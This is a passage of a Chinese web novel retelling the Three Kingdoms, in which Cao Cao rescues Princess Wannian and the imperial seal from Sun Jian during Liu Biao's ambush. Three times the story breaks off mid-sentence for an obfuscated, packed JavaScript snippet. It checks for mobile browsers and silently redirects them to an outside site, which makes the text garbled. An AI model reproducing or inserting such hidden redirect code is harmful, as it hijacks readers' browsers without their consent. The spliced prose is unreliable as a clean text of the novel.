“……”,袁绍闻言,心中不悦,但碍于两人到底是兄弟,也不好多说什么,只能选择转移话题。 “先别提这些了,从目前来看,公主和玉玺必在孙坚手中,我们还是想想怎么拿过来吧。” “那你有什么主意?”袁术却不答反问道。 “我决定修书一封给荆州刘表,让他在半路上截住孙坚。” “刘表乃是汉室宗亲,倘若知道公主和玉玺落入他人之手,必定不会袖手旁观。”袁绍斟酌着回答道。 “就算刘表肯出兵,那最后我们也什么都捞不到啊,这不是白忙活半天,全为别人做嫁衣吗?”袁术摊开手不住的抱怨着。 “别人,别人,你就只想着你自己,全然不顾我们袁家的名声吗?” “现在可还是汉家的天下呢,你说的这些话若是传出去了,还不知道要遭多少口舌议论!” 袁绍一听这话就恼了,没好气的怼了他两句,话里话外,就是说他一点大局观都没有。 退一万步,就算真的要为自己谋划,那也不能弄得这么难看啊。 “议论?我怕他们议论吗?” “还我们袁家的名声呢,我们袁家全族都被那董卓杀了个干净。” “爹娘死的时候怎么不见你如此硬气,现在冲我发什么火?干什么,窝里横啊!” 袁术也生气了,直接就怼了回来。 “你以为当了什么狗屁盟主就可以对我发号施令了吗?别忘了你的身份,庶出之子岂敢冒犯嫡脉?!” 他甚至颇为刻薄的攻击了袁绍的出身,丝毫不顾及对方是他兄长。 好吧,其实也算不上了,谁让袁绍已经过继出去,虽然都姓袁,可到底不是同一支了。 “你!”袁绍被他气的发抖,可袁术却根本不管这些,骂完之后一甩袖子走了。 这边袁家两兄弟闹的不欢而散,好几日也没达成一致。 可曹操和孙坚却不会等着他们来对付自己,一切准备完毕,他们就拔营离开,待到袁绍袁术得了信儿,大部队早就跑了。 得此消息,两兄弟又大吵一顿,最后干脆分道扬镳,各干各的,其他诸侯眼看大势已去,也都纷纷告辞离开。 十八路诸侯讨董联盟,也就此分崩离析,彻底瓦解。 4. 倾国之貌 却说袁家两兄弟闹的不欢而散,决定各自单干,但他们倒是都没忘了公主和玉玺的事。 袁绍还是按计划传信给刘表,让他截杀孙坚,自己则准备徐徐图之,之所以如此,是因为他觉得刘表比孙坚好对付。 而袁术却偏偏反其道而行之,决定把袁绍的计策泄露给孙坚,他心里想的是,就算自己得不到,那也不能便宜别人。 其实若非他们两个此时的实力都不足以杀掉孙坚,也不至于搞得这么麻烦。 但不管如何,此时孙坚等人不必担忧袁家兄弟的追捕就是了。 经过几日的赶路,他们终于从洛阳到了许昌,接下来两方人马就不同路了。 为此孙坚特地在分岔口的凉亭里摆酒设宴,曹操也很给面子受邀参加。 彼时正是春末夏初,凉亭周围一片青葱翠色,花红柳绿,不时又有莺鸟之声从枝头树梢传来,好一派勃勃生机之景。 只是现如今,亭中的气氛却有些伤感。 “送君千里,终须一别,这同路之谊,今日也要尽了,孟德兄,来,我敬你。”说着话,孙坚就端起酒碗道。 “多谢文台兄。”曹操也不含糊,端起酒碗与其相碰。 两人皆是一仰而尽,尽显男儿豪情。 “孟德兄,我看贵军似乎把人马分成了两部分,这是为何啊?”酒过三巡,孙坚仿佛不经意的询问了一句。 “奥,是为了那些受伤的兵将,我已决定南下去扬州募兵,路途遥远不说,他们也受不得颠簸,这才决定分出一部分兵士护送他们先回陈留郡疗养。” 曹操心知他在试探自己,但却不曾隐瞒,而是大大方方的解释了缘由。 “原来如此,孟德兄真是高义啊。”听闻此言,孙坚心中的怀疑去了不少。 “高义不高义的,我倒没想那么多,只盼着他们回去见了老母妻儿,能一家团聚。” “如今大汉奸臣当道,欺压良善,不知多少百姓流离失所,家庭破碎,我这也是想着,能救一些是一些,也算对得起父老乡亲了。”曹操不由得叹了一声。 “是啊,国将不国,奸佞横行,老百姓不容易啊。”孙坚也叹了一口气。 “文台兄此次回乡,又待如何啊?”曹操顺势问了一句。 “我战伤在身,又损兵折将,自是要回去休整一番,至于将来如何,也唯有尽我所能,保境安民,护一方平安罢了。”孙坚半真半假的回答道。 “那我就祝文台兄此去一路顺风,夙愿得偿。”曹操说着,便也敬了他一碗酒。 “承你吉言了。”好听话谁都喜欢,孙坚笑着与其碰杯,再次一仰而尽。 “文台兄,这一路上我都有个疑问憋在心里,实在是不吐不快。” “现如今我们两家即将分开,可否容我冒昧问一句。”说了许多废话之后,曹操终于来到了正题。 “孟德兄但说无妨。”孙坚其实猜到了他要问什么,但面上却不动声色,大方的抬手示意他开口就是。 “近来流言纷纷,言说文台兄得了万年公主和传国玉玺,不知是真是假?”曹操也不忸怩,直言相问。 “孟德兄都说是流言了,又何故来问我呢?”孙坚打着哈哈试图蒙混过关。 “文台兄,这……”,曹操还想说点什么,但突然有兵士禀报,言说袁术那边派人过来送信。 “孟德兄,山水有相逢,你我就此别过吧。”孙坚一听这个,顺势干了碗里的酒,一拱手就告辞离去。 曹操拦他不得,只能面带伤感,眼睁睁看着他带人离开凉亭,踏上了回长沙的路。 只是当孙坚等部的身影彻底消失在路尽头时,曹操却突然变了一副神色。 “子孝,一切都准备妥当了吗?”他问一旁的曹仁。 “回禀主公,一切都已准备就绪,挑选的兵士皆是精锐,千里奔袭不在话下,乔装所需衣衫也已分发下去,只待主公一声令下,我等便立刻出发。”曹仁行了一礼后回答道。 “很好。”曹操点了点头,“那今晚我们便行动,传令下去,在跟踪孙坚等部的同时,切记不可打草惊蛇。”他吩咐道。 “属下遵命。”曹仁行了一礼后便下去布置。 而曹操则是独自一人坐回了凉亭中,又倒了一碗酒,不过奇怪的是,他并没有喝,而是一直盯着里面微微晃动的酒水看。 “本初啊本初,你可千万不要让我失望啊。”他喃喃自语念叨着袁绍,此时满脑子想的,也都是对方。 曹操少年时和袁绍玩的很好,私交也相当不错,自然对他的脾气秉性有所了解。 自从得知公主和玉玺可能落在孙坚手中,而袁绍又索要未果后,他就知道,对方绝对不会善罢甘休。 以袁绍现在的兵力,强抢肯定是不行,曹操推测,他大概会选择借刀杀人,而荆州刘表就是最好的人选。 孙坚要回长沙,必然经过刘表的辖区,而刘表又是妥妥的汉室宗亲,肯定不会任由公主和玉玺落在外姓人手中。 等刘表一得手,袁绍必会想方设法的索要,至于刘表会不会给,曹操想到对方那年迈老弱的模样,就清楚袁绍最后一定会达成心愿。 那么进一步探究的话,就会联想到袁绍又为何想要公主和玉玺。 可每每思及此处,曹操就不敢想下去,也不能想下去,又或者,他早就猜到了发小的心思,只是不愿面对罢了。 此时的他,还抱着最后一丝奢望,盼着袁绍还是那个和自己一样的大汉忠臣。 可是方才袁术派人来给孙坚送信的事又历历在目。 而这只能侧面反应出,袁绍已经动手了,不然和他一向不对付的袁术又怎会在此时和孙坚通信呢? 少年时为国尽忠的誓言还犹在耳边,可十八路诸侯各怀鬼胎的样子却浮现在他眼前。 此时的曹操只觉得内心五味杂陈,越想越气,忍不住端起碗来,将那酒水大口咽下,可却丝毫不觉甘甜,只有苦涩弥漫舌尖。 良久后,凉亭里传来一声悲鸣,也不知是为人心易变,还是为国哀叹。 但不管他如何想的,孙坚那边算是称心如意了。 没人来追杀他,袁绍就算有计谋,袁术也已经偷偷通知了自己,至于那荆州刘表要在半路截杀他们,孙坚也不在乎。 据他所知,刘表一贯老迈羸弱,胆小怯懦,就算真的敢出兵,也必定不是他的对手,这一点,孙坚还是很有自信的,江东猛虎的称号可不是浪得虚名。 心里有底儿,那自然不慌,离了许昌几十里后,傍晚寻地方休息,孙坚还有闲心去查看万年公主的情况。 彼时,黄盖正守在马车周围,四周也有侍卫看守,眼看孙坚过来,黄盖连忙迎了上去。 “见过主公。”黄盖行了一礼。 “免了吧,公主近来如何?”孙坚挥手让他起来,并问起了正事。 “生活方面倒是没什么,吃食和安寝都很配合,只是……”,黄盖说到这儿,不由得顿了顿。 “只是什么?”孙坚看了他一眼。 “只是公主派身边侍女传话,询问傍晚休息时,可否多出来透透气。”黄盖转述了对方的要求。 “对此,属下实在不敢自专,特来禀告主公。”说着,他就行了一礼。 “若是前几日当然不行,可现在我们已经和曹操等部分道扬镳了,又有这许多兵士跟随,想来也无人敢造次。” “那就答应公主,容她和侍女出马车透气。” “俗话说,择日不如撞日,就现在吧,派人去告知公主,也让她高兴高兴。”孙坚想了想后,还是答应了,并吩咐立刻行动。 “是,属下领命。”黄盖点头应下,并寻来一个兵士去马车那边通知。 不多时,便见慧儿扶着刘琼下了马车,到那路边树荫下乘凉。 不时有小鸟落到她们周围,‘啾啾’叫个不停,还有野兔松鼠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656106|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之类的小动物蹦蹦跳跳的靠近,一点也不怕人,喜的刘琼连声喊慧儿拿点吃的来喂它们。 玩了一会儿,许是感觉有些热,两个小姑娘便摘了帽子,取下披风,继续玩闹起来。 银铃般的笑声在森林里响起,身上只穿着匆忙改制的男儿衣衫,头上也不见金钗玉坠,却也难掩青春活力。 特别是刘琼,她的容貌胜过这世间许多女子,至少孙坚和黄盖都看的入了迷。 “主公,公主现在年纪虽小,但却有倾国之貌,又是皇女之身,尊贵非常,也不知将来哪个儿郎三生有幸得了去,那可真是天大的福气啊。”黄盖不由得感慨了一句。 他虽然也看的入了迷,但眼里却只有惊艳之色,而无亵渎之意,也算是坦荡君子了。 “哪个儿郎有幸?那自然是我孙家儿郎了,自古美女配英雄,我孙家满门英豪,整个江东无人能及,自是可堪相配。”孙坚却抬了抬下巴,特别自信道。 “主公所言甚是,大公子和公主年纪相仿,自是……”,黄盖第一时间想到的是孙坚的长子孙策,正要拍拍马屁,可话还未说完就被打断了。 “策儿还小,哪里值当这会儿就议亲的?等我们回去后再说吧。”孙坚有些不悦。 “是。”黄盖听着这话总感觉有哪儿不对劲,但也没太在意,点头答应着。 而黄盖的感觉其实并没有出错,孙坚的确不想把刘琼嫁给别人,哪怕是自己的儿子。 在他看来,既然上天让他救了公主,又得了玉玺,那就预示着他将来会登临九五之位,成为天下至尊,那么江山美人自然也该都属于他,而非别人。 如今孙坚正值壮年,也难怪他不肯考虑继承人,有什么好东西都要往自己碗里扒拉了。 但他也不傻,知道这种事只能想,不能说,至少现在还不能拿到明面上来说。 从这一点来看,他的境界比袁术高多了。 扯远了,不管他们这些男人有何心思,但只要没有实施,那对刘琼她们来说就是空话,但也不是一点威胁都没有,所以她们现在的首要目标仍是逃走。 唯一不同的是,以前是要逃离董卓的控制,现在则是要逃离孙坚的野心。 用过晚膳后,刘琼和慧儿听话的回去,只上车前,刘琼顺势摸了摸马儿的头,引来对方一阵亲昵。 不多时,才上了马车休息,外头有黄盖和侍卫们守着,但此时,两个小姑娘却并没有睡着,而是挨得极近,悄声说着话。 “殿下,曹将军真的会来救我们吗?先前同路而行时,都不见他动手,现下两班人马都分开了,他还能追过来吗?”慧儿很是担心。 “放心吧,现在的曹孟德还是大汉的忠臣呢,他绝不会放任不管的,但我们也不能都指望着他,关键时刻,还得靠自己。” 刘琼说着,就从袖中取出了一只巴掌大的鹦鹉,正是先前被曹仁抓住,后来被曹操放了,又飞回她身边的那只小家伙。 “这小东西靠谱吗?”慧儿伸手摸了摸鹦鹉胸前的绒毛,但心里还是有些担心。 “当然靠谱了,这几天我们都没喂它,偏它回来时,肚子都吃的鼓鼓的,你说,这是怎么回事啊。” 刘琼一直捏着小鹦鹉的嘴不让它叫,以免引来外头的守卫,而这小东西也乖乖的不出声,眼神看起来也比其他鸟儿灵动许多,可见是知道跟着她有好处。 “奥,这小东西出去吃独食了。”慧儿一听就明白了,“除了我们,还有人在喂它。” “是啊,宫廷里出来的鸟儿哪会自己捕猎呢?无非是再找一个新主人罢了。”刘琼轻叹了一声。 “好了,不说了,你心里有数就行,这几天好好吃饭,多多休息,难熬的日子还在后头呢。”她话头一转,郑重嘱咐道。 “奴婢都听殿下的。”慧儿自是点头应下。 而刘琼则是趁着夜色,把小鹦鹉放飞了,它也聪明,没发一声,只扑棱着翅膀飞走了。 5. 百鸟朝凤 刘表那头得了袁绍密信,急召属下部将商议,他账下议事,常以蒯良,蒯越为主,蔡瑁为辅,但这一次,他们三人都认为这是千载难逢的机会。 孙坚等部从来都觊觎他们荆州的繁华与广袤,这些年来屡屡寻衅滋事,设法夺走了许多兵器和财物。 对于这等土匪行径,荆州诸将从上到下没有一个不恨的,只是苦于没有机会,亦没有名义去征讨对方,否则难逃一个内斗罪名。 可现在好了,他孙坚私自藏匿万年公主和传国玉玺,按大汉律,可与谋反相提并论,他们出兵截杀也就有了正当理由。 但唯一的问题是,孙坚确实骁勇不凡,其部下亦是能征善战的猛将,果真要与其交战,绝不可直面硬拼,需得智取才行。 众人商量许久,最后定下了伏兵之策,有人亲率兵马去引孙坚,有人则在背后布下阵势偷袭,当然,这肯定是好说不好听的。 不过这一次,一向懦弱犹豫的刘表却并没反对大家的提议。 只因万年公主和传国玉玺代表的政治意义对他们老刘家来说太重要了,绝不能落入外人之手,否则本就动荡的大汉朝廷定会更加摇摇欲坠的。 刘表虽有偏安一隅的守旧之心,但到底还是汉室宗亲,原则性问题还是拎得清的,大汉的金字招牌倒了,对他可是百害而无一利,无论如何,这次都得夺回公主和玉玺。 却说他们这边下定了决心,而另一头,孙坚等部也在讨论此事。 越是靠近荆州地界,众将就越是忧心忡忡,只因他们的主公孙坚自恃勇武,虽提前得知刘表将会截杀自己,但也不肯绕路回长沙。 但他们现在还带着万年公主和传国玉玺,确实也不好轻敌,趁着傍晚于路旁修整之际,孙坚把众将都集合起来商议。 “袁绍唆使刘表半路截杀我,可袁术却把这消息故意泄露给我,又说要跟我结成同盟,共图大业。” “可在我看来,他们两个一个阴险,一个狡诈,都不可信。” “如此作为皆是贪图公主和玉玺,我孙坚羞与此等人为伍。”孙坚对袁家两兄弟的行为都看不上眼。 “主公所言极是,袁氏兄弟已有内斗之嫌,我等万万不可掺和进去,还是速回江东,别图大业为上。”程普亦是点头赞同。 “可要回江东,必然经过荆州渡口,如今那刘表早已得了消息,定会派兵截杀。” “现在主公战伤在身,我等又带着公主和玉玺,行路艰难,一旦与刘表等部交兵,只怕占不到什么便宜啊。”老将黄盖忧心不已。 “那就不和他们交兵不就行了?大不了不走渡口,走陆路绕过去。”韩当在一旁出了个主意。 “可是若真的要绕路,不止行程要多上二十来日,就连粮草也不够用啊。” “先前我早已派人传信,要战船携带粮草在渡口接应,若是绕路,岂不是让他们白等一场?” “更有甚者,万一刘表因此恼羞成怒,攻我部战船,那这损失可就更大了。”孙坚却不同意。 “主公,其实这事说难也难,说简单也简单,只要我等先设法把公主和玉玺送上船,然后再率部正面冲杀。” “那刘表一贯胆怯懦弱,届时我部气势如虹,他受其震慑,未必敢鱼死网破,更多的可能是心生胆怯,主动让路出来。” “只要我部上了战船,入了航道,一切也就成了定局。”程普在一旁提议道。 “此计甚妙,那就分头行事,黄盖,你带一队兵马护送公主和玉玺登船,程普,韩当,你等和手下兵将随我一起去会会刘表,为其争取片刻。” “一旦公主那边登船完毕,黄盖,你速派人挥舞战旗,我等得了消息,即刻率军冲杀,夺路回家。”孙坚听取了程普的建议,随即开始分任务。 “属下遵命。”三位部将异口同声答应下来。 待要快到荆州边境的渡口,孙坚派出去的探子回来禀报,言说荆州兵马已经在前方不远处摆开架势。 心知对方来者不善,孙坚也并无惧色,吩咐黄盖带公主和玉玺走小路去渡口登船,而他自己则是以身为饵,带着程普,韩当二人并一众兵马前去迎敌。 阵阵马蹄声踏破清晨的宁静,惊起无数飞鸟,待到出了林子不远,孙坚便看到了对面的刘表等人。 原是为了拖延时间,自然不可能上来就打,孙坚骑马来到阵前,程普和韩当紧随其后,一左一右护卫在侧。 “景升兄,别来无恙乎?”孙坚高声问候刘表。 “若是你孙文台肯交出我汉室之宝,那我自然无恙。”刘表也骑马上前,蒯良,蒯越等部将随他一起。 “景升兄这是何意?在下可听不明白啊,我等只是想借渡口回家罢了,如何你却引兵截我等去路?”孙坚还搁那儿装糊涂。 “孙坚,你也莫要狡辩,建章宫枯井之事,当日与会诸侯无一不知,袁本初也已传信于我,此等大事,又是白纸黑字,断断不会作假。” “你若识相,那就快快交出公主和玉玺,如若不然,我必定上奏陛下,治你个谋反之罪!”刘表难得硬气一回,对此寸步不让。 他言语间满是威胁,然而孙坚却不以为然。 现在的陛下不过是董卓手中的傀儡小儿,就算真的上奏,也伤不到他孙家一根汗毛,刘表这么说,无非是想告诉自己,他占着大义罢了。 “景升兄,袁绍此人重利轻义,你怎可轻信他之谎言?” “你我二人可是临郡,俗话说,‘远亲不如近邻’,如何听了旁人几句挑拨,就来威逼邻居?这有点说不过去吧。” 但孙坚却根本不理会他说的那些,只一味的找话题拖延时间。 “你既然说他所言为假,那何不答应我军,搜看你等随军行李物品?”刘表也不傻,直接提要求。 “刘表,我念你年事已高,又是汉室宗亲,方才敬你三分,可不想你却不识好歹。” “你我官职爵位仿佛,安敢提此无理要求,难道是小觑我孙坚不成?!”孙坚冷哼一声也恼了,当即就抽出腰间佩剑,面露威胁道。 “你连皇家公主和传国玉玺都敢私藏,我又岂敢小觑?特备精兵一万,侯你大驾。” 话音未落时,刘表便抬手一挥,身旁蒯良,蒯越等人便朝孙坚而去,身后诸多兵士也手持兵刃,骑马杀去。 孙坚那边也不甘示弱,他一马当先,持剑杀去,程普和韩当护卫在他左右,也迎上敌军。 这边两方人马交织在一起,喊杀声震天响,而另一边,老将黄盖正带着众人走小路抄近道去渡口,兵士们也都骑马跟随着。 为了轻装简行,快速行军,这个队伍中,也只有刘琼她们一辆马车而已,为求确保能快速到渡口登船,此次临行前,黄盖还吩咐特地换了一次拉车的马儿。 “黄老将军,我们快到了吗?殿下询问进程呢。”正在赶路之时,黄盖却突然听到马车里传来了慧儿的声音。 “回禀殿下,过了前方路口,再行一段便是渡口,左右不过一炷香的时辰。”黄盖驱马到车驾旁,恭恭敬敬的回答道。 “知道了。”仍旧是慧儿答应了一声。 但黄盖也没在意,只驱使马车快跑,又嘱咐车夫赶车的时候不止要快,更要稳。 他们正在外头说着话,而马车里面,刘琼和慧儿早已整理好行装,头发衣服都绑的很紧,鞋子也都检查过了。 两人还收拾了一个小包袱放在马车一侧,里面是这些日子她们偷偷省下来的干粮和水,不到万不得已,她们不会弃车而逃,因为那样根本跑不远的。 可要是真到了走投无路的时候,那该跑还是得跑,这也是为何要检查着装的缘由。 当然,这些都是小事,重点戏还在后头呢,就在众人忙着赶路的时候,两旁的树林里却陆陆续续传来了吼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656107|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫之声。 不时有老虎,黑熊之类的大型食肉动物出现在周围,更奇怪的是,还有梅花鹿,兔子,松鼠等食草动物跟随,就连众人骑乘的战马们都开始躁动起来。 黄盖以高超的技术控制住了自己的战马,其他兵士也陆续停了下来,驾车的车夫也被迫停在路上。 “黄老将军,出什么事了?马车怎么突然停了?”慧儿和刘琼都探出头来询问。 “无事,只是有点……”,黄盖刚想宽慰几句,却突然听到急促的马蹄声传来,抬头看去,却见前方路口突然出现一队兵马,打头的正是刘表座下大将蔡瑁。 “快扶殿下回去,众将士,誓死护卫殿下左右!” 黄盖也认出了来人,心知对方来者不善,他当机立断,招呼许多亲卫守在马车两旁,而他自己则是挥舞着兵刃迎上了蔡瑁。 “江东逆贼,留下公主和玉玺!”蔡瑁远远的看着他们护住了唯一的马车,顿时眼前一亮,知道自己此行目标必在其中,为鼓舞士气,也为震慑敌军,他高声喊道。 “该死的!”黄盖骂了一句,更快的朝对方冲去。 他知道自己必须速战速决,因为双方兵力是肉眼可见的悬殊,若不能在短时间内斩杀蔡瑁这个主将,那么他们肯定扛不住。 黄盖久经沙场,但蔡瑁也不是吃素的,就算整体实力不如他,但扛住一时半刻却也不成问题。 “别管我,快去救公主!”和对方刀光剑影,你来我往之时,蔡瑁还不忘了招呼属下们快去抢目标。 黄盖带领的兵士们也赶来阻拦荆州兵马,但到底数量上不占优势。 驾车的车夫眼看对方人马就要冲过来,顿时就慌了。 更可怕的是,道路两旁突然冲出了许多野兽,老虎,黑熊,豹子,就连成群的梅花鹿和豺狼等动物都出来了。 众人忙着应对敌军的同时,还得防着这些动物的袭击,守卫在马车周围的兵士们也是手忙脚乱,可就连他们的战马都不听使唤起来。 拉车的马儿更是不知为何,居然主动调转了车头,朝着来时的道路狂奔而去。 这下子无论是黄盖一方,还是蔡瑁一方全都傻了眼,拼命想要去追,却被一众大型野兽拦住,只能眼睁睁的看着马车消失在路尽头。 “吁!” “吁!!” “吁!!!” …… 驾车的车夫拼了命的控制缰绳,试图让马车停下,然后却在经过一颗大树阴凉时,未曾抬头观察,一头豹子猛的扑过来。 车夫躲闪不及,被其扑倒,一个不慎就摔下了车,只能眼睁睁的看着马车消失在路尽头,只留下一地的尘土在身后。 与此同时,慧儿早已坐在了车夫原先的位置上,并全力控制缰绳,驱马赶路。 “殿下,眼下情形如此之乱,曹将军能准确找到我们吗?”她一边驾车,一边询问。 “能,因为我会给他指引。”话音未落,刘琼就集中精神看向了森林。 不多时,便有无数飞鸟腾空而起,振翅翱翔,神奇的是,它们没有乱飞,而是有队形,有组织的飞在她们的马车上空,远远看去,颇为壮观。 而另一头,被孙坚突然分兵打了个措手不及,正急得团团转的曹操等部也看到了这奇特的场景。 “主公,这好像是雀鸟衔枝啊,不过南方的雀鸟衔枝规模都这么大的吗?”曹仁在一旁啧啧称奇。 “这恐怕不是雀鸟衔枝。”然而曹操看了看那天空中鸟儿们组成的形状,却突然摇了摇头。 “不是雀鸟衔枝,那是什么?”曹仁追问道。 “是……百鸟朝凤。”曹操眯了眯眼睛。 “快,子孝,朝着那些雀鸟飞翔的方向追,公主必在那里。”说着,他一马当先就跑了出去。 “主公,主公,等等我啊!”曹仁赶紧追他,一众兵士也立刻跟上。 6. 假充侄女 曹操和曹仁率一众兵士朝着雀鸟飞行方向而去,不多时,果见一马车在路上狂奔,驾车之人,肉眼可见是个女扮男装的,两人当即大喜过望,率军快马加鞭迎了上去。 “殿下,前方似乎是荆州的兵马拦路,我等如何是好?”慧儿眼看一队人马朝她们奔过来,穿着打扮好似刚才和黄盖交战之人,顿觉紧张不已。 “莫慌,我料想,前方必是救援之人。”刘琼却依旧镇定。 “可是……”,慧儿还是有些担心,但话还没说完,曹操和曹仁已经率军赶到,将马车团团围住,慧儿只得勒住缰绳,迫使马车停了下来。 “尔等何人,为何拦我等去路?”虽然心中已经有数,但慧儿到底还是不放心,并未立刻请公主下车,而是挡在车门前发问。 “大汉典军校尉曹操,参见万年公主,敬问殿下躬安否?”曹操立刻下马行了一礼,并恭敬的问候。 曹仁也紧随其后,跪倒在地,其他兵士亦是如此。 “典军校尉曹操?难道不该是行奋武将军曹操吗?”刘琼依旧没有露面,而是坐在马车中反问道。 “殿下容禀,所谓行奋武将军,不过是先前十八路诸侯讨董时,盟主袁绍私自表奏,并未经过朝廷正式册封,故而不敢自专,还是典军校尉更名正言顺一些。” 曹操惊讶于她所知之多,但很快就定了定神,耐心的解释起来。 “父皇生前曾设西园八校尉,典军校尉为其中之一,掌握禁军,乃父皇心腹,你若果真是此身份,可有印绶在手?” 刘琼一边发问,一边偷偷推了慧儿一下,后者心领神会,立刻伸手索要身份凭证。 “微臣印绶在此,请殿下亲鉴。”曹操也早就料到了这等场景,旋即从怀中摸出印绶双手奉上。 “请殿下一观。”慧儿接了过去,趁着车门缝隙递给刘琼。 但见此印乃四方银制,下刻四字篆书‘典军校尉’,又系有青色绶带,下坠一玉环,以彰权责。 从外形来看,此物确实符合规制,典军校尉为皇帝亲信,秩比两千石官员,使用的官印也确是银印青绶。 如此,她们总算松了一口气。 “曹校尉勿怪,眼下正是乱世,人心叵测,危险重重,我等不过是弱女子,所以行事难免谨慎些。” 确认了身份,慧儿扶着刘琼下了马车,后者亲自扶了曹操一把。 “殿下这是说哪里话?微臣岂敢怪罪殿下,如今奸臣祸国,殿下有此谨慎方是正理啊。”曹操顺势起身,并顺着她往下说。 “那就多谢曹校尉体谅了,如今孙坚的部下正与一队人马交战,我恐不时就要追来,你看这……”,刘琼点到为止。 “殿下勿忧,有微臣在此,必不会再让殿下落入乱臣贼子之手,还请殿下快快上马,微臣护送殿下离去。”说着,曹操就要扶刘琼上马。 “可是殿下,你我不会……”慧儿却提出了异议,刘琼则抬手制止了她。 “事急从权,此时也顾不得其他了,先逃得性命要紧。”刘琼又给了她一个眼神,示意不要讲究了。 “敢问殿下可是不会骑马?倘若真是如此,那微臣斗胆,请殿下与微臣同骑而行,这样既能快速行军,也可保殿下安危。” “待到离了荆州边境,脱离危险,微臣再派人去寻马车如何?”曹操看出了端倪,主动提议道。 “那我的侍女……”,刘琼还没忘了替慧儿问一句。 “子孝,命你与这位姑娘同乘一骑,可行否?”曹操闻声而知意,立刻看向了曹仁。 “属下领命。”曹仁自无不可,反正他的马是好马,带个小姑娘根本不算什么。 “既如此,再没什么不妥之处了。”刘琼见状,也点头同意了。 她们两个被曹操和曹仁分别带走,兵士们紧随其后,为了阻击一会儿追来的敌人,他们还烧了马车,随后扬长而去。 如今春末夏初,天气本就高温,南方树木又密集,不一会儿就点燃了两旁的林子,滚滚浓烟冲天而起。 等黄盖和蔡瑁双方一路追到这里,只见大火熊熊烧的正旺,无数野兽从林中奔出,朝河边逃去。 远远的,他们便看到了燃烧的马车残骸,又听先前那掉落的车夫说是自己追来时,正好看到了一队荆州军装扮的人马带走了公主她们。 顿时,黄盖就大怒不已,拿着兵器就朝蔡瑁杀去,他断定是荆州用了调虎离山之计,这才劫走了公主和玉玺。 蔡瑁也听到了那车夫的话,还真以为是主公刘表派人救走了公主,竟然当场承认了,还朝黄盖说尽挑衅污蔑之言,直把后者气的怒发冲冠,誓要杀他不可! 两方人马正杀的难分难舍,却见火势也越发大了,不多时,又有兵士前来回禀,言说孙坚那里被围攻不得脱身,恐有性命之忧。 黄盖闻言,焦急不已,偏那蔡瑁还各种斥骂,气的他大发神威,直接一刀解决了对方,并带兵紧急驰援自己的主公。 至于公主和玉玺,这会儿他是真顾不上了。 有黄盖驰援,加之程普,韩当等人拼死相救,孙坚到底还是从刘表的围困中杀出重围,上了战船,沿水路回长沙。 被人埋伏,却侥幸逃得性命,应该是大喜之事,只是当孙坚听闻公主和玉玺被荆州人马夺走,他还是受不了,又逢战伤发作,竟是当场撅了过去。 好在他身体素质够硬,最后还是挺了过来,并斥骂了黄盖一顿,也就只能到这个地步了,谁让若无黄盖的驰援,他就彻底没救了呢。 活命之恩在前,孙坚无论如何也不能杀了黄盖,哪怕他丢了公主和玉玺也一样,况且黄盖素来忠心耿耿,孙坚也舍不得杀他。 此事也就不了了之了,而荆州刘表那边,因为蔡瑁被杀,其他兵士或是被杀,或是被大火吞噬,竟无一人传信回去。 以至于荆州这边都误以为公主和玉玺仍在孙坚手中,自己白忙活一场,还损兵折将,顿时就心疼的刘表什么似的,也因此更恨孙坚了。 两家本就有仇怨,如今更是恨意绵长。 他们暗自咬牙切齿,却不知早有人用了偷天换日之举,得了万年公主和传国玉玺,这许多日过去,早已离了两家地界,快要到达扬州了。 彼时,曹操带着曹仁并一众兵士已然换回了自家的铠甲衣衫,还弄来了一辆马车供她们乘坐。 虽是仓促行军,但在衣食方面却无微不至,确实比孙坚等人上心许多,也恭敬许多。 这一点,无论是刘琼,还是慧儿,都无可指摘。 只是临近扬州,有一个问题却迫在眉睫,那就是刘琼的身份。 眼下曹操等部弱小,天下诸侯比他强大的两只手都数不过来,现下若是爆出公主和玉玺在他手中,只怕护不住不说,就连整个曹氏宗族也会有危险。 此等情形一如之前的孙坚等人,也正是考虑到这点,先前曹操才命部下乔装打扮成荆州兵马,为的就是浑水摸鱼,混淆视听。 而现在马上要到扬州,虽提前让曹洪等人在此接应,可扬州刺史陈温却是外人,必得瞒过他才是。 曹操本想自己决断,可想起初见万年公主时,这小姑娘一口就叫破了他的身份,又觉得不该这么武断,也不符合君臣之礼。 有鉴于此,曹操还是恭恭敬敬的请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656108|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 示了对方,并提出了一个办法,而刘琼在听了之后,也并没什么异议,心知他这也是在保护自己,便同意了此事。 